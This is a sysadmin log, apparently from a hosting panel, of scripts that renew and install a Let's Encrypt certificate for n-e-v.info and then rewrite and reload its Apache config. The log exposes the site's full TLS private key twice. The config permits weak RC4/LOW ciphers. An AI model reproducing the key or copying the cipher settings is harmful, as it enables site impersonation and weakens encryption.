cd "/var/www/n-e-v_www/.well-known/acme-challenge/"
cat > VNNBUZKUNCT9iUvqWN-I2mto9L6CSBss8O_LUCXYqs8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VNNBUZKUNCT9iUvqWN-I2mto9L6CSBss8O_LUCXYqs8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VNNBUZKUNCT9iUvqWN-I2mto9L6CSBss8O_LUCXYqs8
cat > l6DsSvs4d-K4u1tVxOD_V7lb5gbvd-2SjMNT8-TNOhw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
l6DsSvs4d-K4u1tVxOD_V7lb5gbvd-2SjMNT8-TNOhw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 l6DsSvs4d-K4u1tVxOD_V7lb5gbvd-2SjMNT8-TNOhw


2026-01-07 13:53:24: 

chmod 755 /tmp/pkp434912; /tmp/pkp434912; rm /tmp/pkp434912

2026-01-07 13:53:24: 




2026-01-07 13:53:42: Establishing a connection
2026-01-07 13:53:43: 

PUT: /tmp/pkp260683

#!/bin/bash
mkdir -p "/var/www/n-e-v_www/.well-known/acme-challenge/"
cd "/var/www/n-e-v_www/.well-known/acme-challenge/"
rm VNNBUZKUNCT9iUvqWN-I2mto9L6CSBss8O_LUCXYqs8
rm l6DsSvs4d-K4u1tVxOD_V7lb5gbvd-2SjMNT8-TNOhw


2026-01-07 13:53:44: 

chmod 755 /tmp/pkp260683; /tmp/pkp260683; rm /tmp/pkp260683

2026-01-07 13:53:45: 




2026-01-07 13:53:45: Establishing a connection
2026-01-07 13:53:46: 

PUT: /tmp/pkp715919

#!/bin/bash
temp_file=$(mktemp)
TARGET=27a452e75854403499effc104b58be29.crt

cat > $temp_file <<'endmsg'
2e:1a:d9:1a:7a:96:91:7d:58:2c:6d:55:72:02:5e:11

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBh8NfMsuY6R0/J++4nLusIltMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTA3MTI1NTA3WhcNMjYwNDA3MTI1NTA2WjAVMRMwEQYDVQQD
EwpuLWUtdi5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy35R
0V7Pc+gjZ6+lwbknCtfoW1LJerm8h+nChalZ6dtnkfJuY83Zjz1BpwONSRc+9FHz
FlE2tRM49wTJn2UPawed/HC1PcgkgeUUDfH8p26ie8jgaUFksyz049Xc1zxRPdnD
7YakOPidepNQHQId2oaseiuHTzGr41tcWo9O7a9pqecLp09yibIhwbiC8cEmAzMs
HkZlr7ITKbUNrD94qCeHcQ7ivfnVfmAvbBwtdJ2T+CTv3twBE3G/sYy8IQcZ15eq
AeTe/OpqjHLWX7LlKnUE1WOdO8fuimaZ2O3R7cZXTHf7dRTGzBQ4VVLohSKuYTSu
trAqmRwxjAgEiwtpPwIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBQrtOHcmlueinzHdjtzdxgQxqbv4TAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14
Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCm4tZS12LmluZm+CDnd3dy5uLWUtdi5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTEwLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA
+AB9AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy7AdoUdGIaRn3AAABm5i8Cg4ACAAA
BQAuKJiOBAMARjBEAiBELu4NzdY39l8YyRNbZOe80RNcZvkYJOMD7/fQDcZvDgIg
Px7AnVCowbWkTN+e0vGtgJI2hUU+iozpFEuAkwWzB94AdwBJnJtp3h187Pw23s2H
ZKa4W68Kh4AZ0VVS++nrKd34wwAAAZuYvBa6AAAEAwBIMEYCIQDba/m2fe3ADY+z
ydXOOcB7LOv80ScioHIBpMCaFKkc7gIhAP72TVENq+meH7vrT0vvoIy6uN39Fz3Q
c8rUMNOQQcpKMA0GCSqGSIb3DQEBCwUAA4IBAQC4ykIMO2VMGFLcUbxuzrELw16U
T0+liVE9oK4tJi2hAvASz5GEAnF1Adt2zCR0U8oEx8AIlhd1PbuOXoI1vcTtkVg2
AgNnW3qXs9ynPYaZP+WA1hH2aVBSS3PdJxmSiy/PRzmnZQFJ4/ZJQYd7V9JVDfrT
00ixmEtREqxwKIJFVwAgyeThZiwUyaBcbe/MAdTXbYk/ZorkkNVneX0H+Kj0lk1q
bVCwYQ98tn+IeitmMSz9LMzbMnf7jJt59kPFpuNOvfy+D9X372M8NWtps2wlCEdN
cb+qEppkVxUPA3GhrzaPl+P1lxkLkJlii3jJPX/T45uRcb1jdMtuyqq8RFk0
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDLflHRXs9z6CNn
r6XBuScK1+hbUsl6ubyH6cKFqVnp22eR8m5jzdmPPUGnA41JFz70UfMWUTa1Ezj3
BMmfZQ9rB538cLU9yCSB5RQN8fynbqJ7yOBpQWSzLPTj1dzXPFE92cPthqQ4+J16
k1AdAh3ahqx6K4dPMavjW1xaj07tr2mp5wunT3KJsiHBuILxwSYDMyweRmWvshMp
tQ2sP3ioJ4dxDuK9+dV+YC9sHC10nZP4JO/e3AETcb+xjLwhBxnXl6oB5N786mqM
ctZfsuUqdQTVY507x+6KZpnY7dHtxldMd/t1FMbMFDhVUuiFIq5hNK62sCqZHDGM
CASLC2k/AgMBAAECggEAJXtxh56umJtoNheI8RtxIRKu5m9j1Dq1CtXYcjVE7gnv
VFcy1ShcDAHM/33sfsuM2YTkwTYZXRYa1oknuDfttJm1FIQQJj6g1tpCrOTnVFHR
FPrltw2IBmbf/r1sTar7Dej4KV61DhdhLmxHA+jZZeCLkX9GD6THE/xGkRm3gJkL
/p9kBC0hKV+8HsFclK5smI+rQDOHdqTV8ZesMJindk2YIJe/bdOcaJ54sOZARqQx
iGEe9Od0q6lvByJtWftvohfRvuz1jxptqlv0AHpMb1LXcqVslRXjLnGIt8YUPgYZ
y0WHkaquTG8iLAzZU0hLn4eZhM35mW4gSId0BKvHyQKBgQD3/b7D6kAhDjJfEdam
pTK1T68VZWcsAHo3wIfmO0oz+z8sO9pLY0rtvb4cXvPWHw7s6y04IQlx2HCNmWYW
8ZVvvoIUrLrKtue8SSd4qu82CHAg0VwiFwIT51Bnaky/EgYutxP9YvVtHW/+zvkW
cLmlz8lvgPAmP4GgPISFB3LHaQKBgQDSELECXnv3DkkL76brUsJkNewyoh8eUuMk
2iS6mfGhSYUb7s/AaMutm9IBlxbHLpx8hL3LW3+LD5IRLf6+oAEos/hwERtZ7Sy6
e4sbRtee2pv+x3m1Ikgcu3A3maFxx1Tlw1mP4Awoo3zyd4mPZvdrSkvvDLQ/yNnN
Yvy8xIv+ZwKBgEmrotk2pLhtLD+b4AV/e/Hq6xtTFXQ37BbV5klaAbAxilHMsgvF
QoQf4vMwrgVFEr0FHFjZT6H3Z3BZSr+0Iu2gTapwqckAzxTbMpOhTBDkLtNA/rrN
1Psus28VYBk+9IE6OAEFPd2daiDrQYoOEMiWUsQCLNVf9lUwxTlzvgBJAoGAQzv0
a72yD7ES0C80Tb1/WnOn1czuCNaevPzVJKSBIg5V/ErDU+I2zqpA3SFuuPHCRFh4
Js5yVB/3sGf4USsFM/HmYngXOQEgf89rBp/2A3IU28ccvUzrp8aWdDVH5xLVqXSN
Be+/9IHfS/vWm39pUX3GMAzw5Dl0/LfiDMkbxaECgYA4rjUQgBUxJbeCzjRYEzao
+3QWVmOLPxC/E+Km2JuaFvdVenPlpg4JInOg//JcGuu9SbnFNB4rI4CmPcpft+k8
VcwQ4u12EnOSA9wWeywpuaTRPadycWWBzvrURKPRDiE1qvx1/QYzYp/3CSAcibdz
zp6dGj/2t6P2LqO6GWHUBw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-07 13:53:47: 

chmod 755 /tmp/pkp715919; /tmp/pkp715919; rm /tmp/pkp715919

2026-01-07 13:53:47: 


dir=/etc/ssl/certs


2026-01-07 13:53:47: 

PUT: /tmp/pkp865391

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/n-e-v_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-07 13:53:48: 

chmod 755 /tmp/pkp865391; /tmp/pkp865391; rm /tmp/pkp865391

2026-01-07 13:53:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/n-e-v_www_info.conf 38

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2026-01-07 13:53:48: 

PUT: /tmp/pkp732904

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=n-e-v_www_info.conf
TARGET=/etc/apache2/sites-enabled/n-e-v_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/n-e-v_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/n-e-v_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/n-e-v_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/n-e-v_www_info.conf= 1'
fi


2026-01-07 13:53:48: 

chmod 755 /tmp/pkp732904; /tmp/pkp732904; rm /tmp/pkp732904

2026-01-07 13:53:49: 




2026-01-07 13:53:49: 

PUT: /tmp/pkp602353

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-07 13:53:49: 

chmod 755 /tmp/pkp602353; /tmp/pkp602353; rm /tmp/pkp602353

2026-01-07 13:53:50: 


.


2026-01-07 13:53:50: Establishing a connection
2026-01-07 13:53:51: 

PUT: /tmp/pkp352152

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-07 13:53:52: 

chmod 755 /tmp/pkp352152; /tmp/pkp352152; rm /tmp/pkp352152

2026-01-07 13:53:52: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:2)
                 alias www.n-e-v.info
         port 80 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:2)
*:443                  is a NameVirtualHost
         default server n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
         port 443 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
                 alias www.n-e-v.info
         port 443 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-07 13:53:52: 

PUT: /tmp/pkp789002

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/n-e-v_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-07 13:53:53: 

chmod 755 /tmp/pkp789002; /tmp/pkp789002; rm /tmp/pkp789002

2026-01-07 13:53:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/n-e-v_www_info.conf	1324

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2026-01-07 13:53:53: 

PUT: /tmp/pkp446431

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/27a452e75854403499effc104b58be29.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-07 13:53:53: 

chmod 755 /tmp/pkp446431; /tmp/pkp446431; rm /tmp/pkp446431

2026-01-07 13:53:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/27a452e75854403499effc104b58be29.crt	5365
2e:1a:d9:1a:7a:96:91:7d:58:2c:6d:55:72:02:5e:11

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBh8NfMsuY6R0/J++4nLusIltMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTA3MTI1NTA3WhcNMjYwNDA3MTI1NTA2WjAVMRMwEQYDVQQD
EwpuLWUtdi5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy35R
0V7Pc+gjZ6+lwbknCtfoW1LJerm8h+nChalZ6dtnkfJuY83Zjz1BpwONSRc+9FHz
FlE2tRM49wTJn2UPawed/HC1PcgkgeUUDfH8p26ie8jgaUFksyz049Xc1zxRPdnD
7YakOPidepNQHQId2oaseiuHTzGr41tcWo9O7a9pqecLp09yibIhwbiC8cEmAzMs
HkZlr7ITKbUNrD94qCeHcQ7ivfnVfmAvbBwtdJ2T+CTv3twBE3G/sYy8IQcZ15eq
AeTe/OpqjHLWX7LlKnUE1WOdO8fuimaZ2O3R7cZXTHf7dRTGzBQ4VVLohSKuYTSu
trAqmRwxjAgEiwtpPwIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBQrtOHcmlueinzHdjtzdxgQxqbv4TAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14
Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCm4tZS12LmluZm+CDnd3dy5uLWUtdi5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTEwLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA
+AB9AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy7AdoUdGIaRn3AAABm5i8Cg4ACAAA
BQAuKJiOBAMARjBEAiBELu4NzdY39l8YyRNbZOe80RNcZvkYJOMD7/fQDcZvDgIg
Px7AnVCowbWkTN+e0vGtgJI2hUU+iozpFEuAkwWzB94AdwBJnJtp3h187Pw23s2H
ZKa4W68Kh4AZ0VVS++nrKd34wwAAAZuYvBa6AAAEAwBIMEYCIQDba/m2fe3ADY+z
ydXOOcB7LOv80ScioHIBpMCaFKkc7gIhAP72TVENq+meH7vrT0vvoIy6uN39Fz3Q
c8rUMNOQQcpKMA0GCSqGSIb3DQEBCwUAA4IBAQC4ykIMO2VMGFLcUbxuzrELw16U
T0+liVE9oK4tJi2hAvASz5GEAnF1Adt2zCR0U8oEx8AIlhd1PbuOXoI1vcTtkVg2
AgNnW3qXs9ynPYaZP+WA1hH2aVBSS3PdJxmSiy/PRzmnZQFJ4/ZJQYd7V9JVDfrT
00ixmEtREqxwKIJFVwAgyeThZiwUyaBcbe/MAdTXbYk/ZorkkNVneX0H+Kj0lk1q
bVCwYQ98tn+IeitmMSz9LMzbMnf7jJt59kPFpuNOvfy+D9X372M8NWtps2wlCEdN
cb+qEppkVxUPA3GhrzaPl+P1lxkLkJlii3jJPX/T45uRcb1jdMtuyqq8RFk0
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDLflHRXs9z6CNn
r6XBuScK1+hbUsl6ubyH6cKFqVnp22eR8m5jzdmPPUGnA41JFz70UfMWUTa1Ezj3
BMmfZQ9rB538cLU9yCSB5RQN8fynbqJ7yOBpQWSzLPTj1dzXPFE92cPthqQ4+J16
k1AdAh3ahqx6K4dPMavjW1xaj07tr2mp5wunT3KJsiHBuILxwSYDMyweRmWvshMp
tQ2sP3ioJ4dxDuK9+dV+YC9sHC10nZP4JO/e3AETcb+xjLwhBxnXl6oB5N786mqM
ctZfsuUqdQTVY507x+6KZpnY7dHtxldMd/t1FMbMFDhVUuiFIq5hNK62sCqZHDGM
CASLC2k/AgMBAAECggEAJXtxh56umJtoNheI8RtxIRKu5m9j1Dq1CtXYcjVE7gnv
VFcy1ShcDAHM/33sfsuM2YTkwTYZXRYa1oknuDfttJm1FIQQJj6g1tpCrOTnVFHR
FPrltw2IBmbf/r1sTar7Dej4KV61DhdhLmxHA+jZZeCLkX9GD6THE/xGkRm3gJkL
/p9kBC0hKV+8HsFclK5smI+rQDOHdqTV8ZesMJindk2YIJe/bdOcaJ54sOZARqQx
iGEe9Od0q6lvByJtWftvohfRvuz1jxptqlv0AHpMb1LXcqVslRXjLnGIt8YUPgYZ
y0WHkaquTG8iLAzZU0hLn4eZhM35mW4gSId0BKvHyQKBgQD3/b7D6kAhDjJfEdam
pTK1T68VZWcsAHo3wIfmO0oz+z8sO9pLY0rtvb4cXvPWHw7s6y04IQlx2HCNmWYW
8ZVvvoIUrLrKtue8SSd4qu82CHAg0VwiFwIT51Bnaky/EgYutxP9YvVtHW/+zvkW
cLmlz8lvgPAmP4GgPISFB3LHaQKBgQDSELECXnv3DkkL76brUsJkNewyoh8eUuMk
2iS6mfGhSYUb7s/AaMutm9IBlxbHLpx8hL3LW3+LD5IRLf6+oAEos/hwERtZ7Sy6
e4sbRtee2pv+x3m1Ikgcu3A3maFxx1Tlw1mP4Awoo3zyd4mPZvdrSkvvDLQ/yNnN
Yvy8xIv+ZwKBgEmrotk2pLhtLD+b4AV/e/Hq6xtTFXQ37BbV5klaAbAxilHMsgvF
QoQf4vMwrgVFEr0FHFjZT6H3Z3BZSr+0Iu2gTapwqckAzxTbMpOhTBDkLtNA/rrN
1Psus28VYBk+9IE6OAEFPd2daiDrQYoOEMiWUsQCLNVf9lUwxTlzvgBJAoGAQzv0
a72yD7ES0C80Tb1/WnOn1czuCNaevPzVJKSBIg5V/ErDU+I2zqpA3SFuuPHCRFh4
Js5yVB/3sGf4USsFM/HmYngXOQEgf89rBp/2A3IU28ccvUzrp8aWdDVH5xLVqXSN
Be+/9IHfS/vWm39pUX3GMAzw5Dl0/LfiDMkbxaECgYA4rjUQgBUxJbeCzjRYEzao
